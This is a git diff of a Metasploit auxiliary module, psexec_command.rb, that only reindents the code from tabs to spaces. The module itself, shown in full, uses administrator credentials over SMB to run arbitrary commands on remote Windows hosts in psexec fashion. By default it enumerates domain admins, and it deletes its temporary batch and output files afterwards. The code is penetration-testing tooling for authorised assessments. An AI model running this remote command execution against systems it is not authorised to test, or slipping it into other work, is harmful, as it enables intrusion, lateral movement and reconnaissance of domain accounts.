diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb
index 50d068d919..e7018fe340 100644
--- a/modules/auxiliary/admin/smb/psexec_command.rb
+++ b/modules/auxiliary/admin/smb/psexec_command.rb
@@ -9,183 +9,183 @@ require 'msf/core'
 
 class Metasploit3 < Msf::Auxiliary
 
-	include Msf::Exploit::Remote::DCERPC
-	include Msf::Exploit::Remote::SMB::Psexec
-	include Msf::Auxiliary::Report
-	include Msf::Auxiliary::Scanner
+  include Msf::Exploit::Remote::DCERPC
+  include Msf::Exploit::Remote::SMB::Psexec
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::Scanner
 
-	# Aliases for common classes
-	SIMPLE = Rex::Proto::SMB::SimpleClient
-	XCEPT  = Rex::Proto::SMB::Exceptions
-	CONST  = Rex::Proto::SMB::Constants
+  # Aliases for common classes
+  SIMPLE = Rex::Proto::SMB::SimpleClient
+  XCEPT  = Rex::Proto::SMB::Exceptions
+  CONST  = Rex::Proto::SMB::Constants
 
-	def initialize(info = {})
-		super(update_info(info,
-			'Name'           => 'Microsoft Windows Authenticated Administration Utility',
-			'Description'    => %q{
-					This module uses a valid administrator username and password to execute an
-				arbitrary command on one or more hosts, using a similar technique than the "psexec"
-				utility provided by SysInternals. Daisy chaining commands with '&' does not work
-				and users shouldn't try it. This module is useful because it doesn't need to upload
-				any binaries to the target machine.
-			},
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Microsoft Windows Authenticated Administration Utility',
+      'Description'    => %q{
+          This module uses a valid administrator username and password to execute an
+        arbitrary command on one or more hosts, using a similar technique than the "psexec"
+        utility provided by SysInternals. Daisy chaining commands with '&' does not work
+        and users shouldn't try it. This module is useful because it doesn't need to upload
+        any binaries to the target machine.
+      },
 
-			'Author'         => [
-				'Royce Davis @R3dy__ <rdavis[at]accuvant.com>',
-			],
+      'Author'         => [
+        'Royce Davis @R3dy__ <rdavis[at]accuvant.com>',
+      ],
 
-			'License'        => MSF_LICENSE,
-			'References'     => [
-				[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
-				[ 'OSVDB', '3106'],
-				[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
-				[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
-				[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
-			]
-		))
+      'License'        => MSF_LICENSE,
+      'References'     => [
+        [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
+        [ 'OSVDB', '3106'],
+        [ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
+        [ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
+        [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
+      ]
+    ))
 
-		register_options([
-			OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
-			OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net group "Domain Admins" /domain']),
-			OptString.new('RPORT', [true, 'The Target port', 445]),
-			OptString.new('WINPATH', [true, 'The name of the remote Windows directory', 'WINDOWS']),
-		], self.class)
+    register_options([
+      OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
+      OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net group "Domain Admins" /domain']),
+      OptString.new('RPORT', [true, 'The Target port', 445]),
+      OptString.new('WINPATH', [true, 'The name of the remote Windows directory', 'WINDOWS']),
+    ], self.class)
 
-		register_advanced_options([
-			OptString.new('FILEPREFIX', [false, 'Add a custom prefix to the temporary files','']),
-			OptInt.new('DELAY', [true, 'Wait this many seconds before reading output and cleaning up', 1]),
-			OptInt.new('RETRY', [true, 'Retry this many times to check if the process is complete', 10]),
-			OptPath.new('LOGDIR', [false, 'File to log output', nil]),
-		], self.class)
+    register_advanced_options([
+      OptString.new('FILEPREFIX', [false, 'Add a custom prefix to the temporary files','']),
+      OptInt.new('DELAY', [true, 'Wait this many seconds before reading output and cleaning up', 1]),
+      OptInt.new('RETRY', [true, 'Retry this many times to check if the process is complete', 10]),
+      OptPath.new('LOGDIR', [false, 'File to log output', nil]),
+    ], self.class)
 
-		deregister_options('RHOST')
-	end
+    deregister_options('RHOST')
+  end
 
-	def peer
-		return "#{rhost}:#{rport}"
-	end
+  def peer
+    return "#{rhost}:#{rport}"
+  end
 
-	# This is the main controle method
-	def run_host(ip)
-		text = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.txt"
-		bat  = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.bat"
-		@smbshare = datastore['SMBSHARE']
-		@ip = ip
+  # This is the main controle method
+  def run_host(ip)
+    text = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.txt"
+    bat  = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.bat"
+    @smbshare = datastore['SMBSHARE']
+    @ip = ip
 
-		# Try and authenticate with given credentials
-		if connect
-			begin
-				smb_login
-			rescue Rex::Proto::SMB::Exceptions::Error => autherror
-				print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}")
-				return
-			end
-			res = execute_command(text, bat)
+    # Try and authenticate with given credentials
+    if connect
+      begin
+        smb_login
+      rescue Rex::Proto::SMB::Exceptions::Error => autherror
+        print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}")
+        return
+      end
+      res = execute_command(text, bat)
 
-			for i in 0..(datastore['RETRY'])
-				sleep datastore['DELAY']
-				# if the output file is still locked then the program is still likely running
-				if (exclusive_access(text))
-					break
-				elsif (i == datastore['RETRY'])
-					print_error("Command seems to still be executing. Try increasing RETRY and DELAY")
-				end
-			end
-			if res
-				get_output(text)
-			end
+      for i in 0..(datastore['RETRY'])
+        sleep datastore['DELAY']
+        # if the output file is still locked then the program is still likely running
+        if (exclusive_access(text))
+          break
+        elsif (i == datastore['RETRY'])
+          print_error("Command seems to still be executing. Try increasing RETRY and DELAY")
+        end
+      end
+      if res
+        get_output(text)
+      end
 
-			cleanup_after(text, bat)
-			disconnect
-		end
-	end
+      cleanup_after(text, bat)
+      disconnect
+    end
+  end
 
-	# Executes specified Windows Command
-	def execute_command(text, bat)
-		# Try and execute the provided command
-		execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
-		print_status("#{peer} - Executing the command...")
-		begin
-			return psexec(execute)
-		rescue Rex::Proto::SMB::Exceptions::Error => exec_command_error
-			print_error("#{peer} - Unable to execute specified command: #{exec_command_error}")
-			return false
-		end
-	end
+  # Executes specified Windows Command
+  def execute_command(text, bat)
+    # Try and execute the provided command
+    execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
+    print_status("#{peer} - Executing the command...")
+    begin
+      return psexec(execute)
+    rescue Rex::Proto::SMB::Exceptions::Error => exec_command_error
+      print_error("#{peer} - Unable to execute specified command: #{exec_command_error}")
+      return false
+    end
+  end
 
-	# Retrive output from command
-	def get_output(file)
-		print_status("#{peer} - Getting the command output...")
-		output = smb_read_file(@smbshare, @ip, file)
-		if output.nil?
-			print_error("#{peer} - Error getting command output. #{$!.class}. #{$!}.")
-			return
-		end
-		if output.empty?
-			print_status("#{peer} - Command finished with no output")
-			return
-		end
+  # Retrive output from command
+  def get_output(file)
+    print_status("#{peer} - Getting the command output...")
+    output = smb_read_file(@smbshare, @ip, file)
+    if output.nil?
+      print_error("#{peer} - Error getting command output. #{$!.class}. #{$!}.")
+      return
+    end
+    if output.empty?
+      print_status("#{peer} - Command finished with no output")
+      return
+    end
 
-		log_dir = ::File.join(Msf::Config.log_directory,'scripts', 'psexec_command')
-		::FileUtils.mkdir_p(log_dir)
+    log_dir = ::File.join(Msf::Config.log_directory,'scripts', 'psexec_command')
+    ::FileUtils.mkdir_p(log_dir)
 
-		# Define log filename
-		timestamp  = ::Time.now.strftime('%Y%m%d:%H%M%S')
-		filename  = "#{datastore['RHOSTS']}_#{timestamp}"
-		if (datastore['LOGDIR'].nil?)
-			log_file  = ::File.join(log_dir,"#{filename}.txt")
-		else
-			log_file  = ::File.join(datastore['LOGDIR'], "#{filename}.txt")
-		end
+    # Define log filename
+    timestamp  = ::Time.now.strftime('%Y%m%d:%H%M%S')
+    filename  = "#{datastore['RHOSTS']}_#{timestamp}"
+    if (datastore['LOGDIR'].nil?)
+      log_file  = ::File.join(log_dir,"#{filename}.txt")
+    else
+      log_file  = ::File.join(datastore['LOGDIR'], "#{filename}.txt")
+    end
 
-		print_good("#{peer} - Command completed successfuly!")
-		print_status("Logging output to #{log_file}.")
-		output = "# CMD: #{datastore['COMMAND']}" + output
+    print_good("#{peer} - Command completed successfuly!")
+    print_status("Logging output to #{log_file}.")
+    output = "# CMD: #{datastore['COMMAND']}" + output
 
-		fd = ::File.new(log_file, 'w+')
-		fd.write(output)
-		fd.close()
+    fd = ::File.new(log_file, 'w+')
+    fd.write(output)
+    fd.close()
 
-		if datastore["VERBOSE"]
-			print_status("Output:")
-			print_line("#{output}")
-		end
-	end
+    if datastore["VERBOSE"]
+      print_status("Output:")
+      print_line("#{output}")
+    end
+  end
 
-	#check if our process is done using these files
-	def exclusive_access(*files)
-			simple.connect("\\\\#{@ip}\\#{@smbshare}")
-			files.each do |file|
-			begin
-				print_status("checking if the file is unlocked")
-				fd = smb_open(file, 'rwo')
-				fd.close
-			rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
-				print_status("#{peer} - Unable to get handle: #{accesserror}")
-				return false
-			end
-		end
-		return true
-	end
+  #check if our process is done using these files
+  def exclusive_access(*files)
+      simple.connect("\\\\#{@ip}\\#{@smbshare}")
+      files.each do |file|
+      begin
+        print_status("checking if the file is unlocked")
+        fd = smb_open(file, 'rwo')
+        fd.close
+      rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
+        print_status("#{peer} - Unable to get handle: #{accesserror}")
+        return false
+      end
+    end
+    return true
+  end
 
 
-	# Removes files created during execution.
-	def cleanup_after(*files)
-		simple.connect("\\\\#{@ip}\\#{@smbshare}")
-		print_status("#{peer} - Executing cleanup...")
-		files.each do |file|
-			begin
-				smb_file_rm(file)
-			rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
-				print_error("#{peer} - Unable to cleanup #{file}. Error: #{cleanuperror}")
-			end
-		end
-		left = files.collect{ |f| smb_file_exist?(f) }
-		if left.any?
-			print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
-		else
-			print_status("#{peer} - Cleanup was successful")
-		end
-	end
+  # Removes files created during execution.
+  def cleanup_after(*files)
+    simple.connect("\\\\#{@ip}\\#{@smbshare}")
+    print_status("#{peer} - Executing cleanup...")
+    files.each do |file|
+      begin
+        smb_file_rm(file)
+      rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
+        print_error("#{peer} - Unable to cleanup #{file}. Error: #{cleanuperror}")
+      end
+    end
+    left = files.collect{ |f| smb_file_exist?(f) }
+    if left.any?
+      print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
+    else
+      print_status("#{peer} - Cleanup was successful")
+    end
+  end
 
 end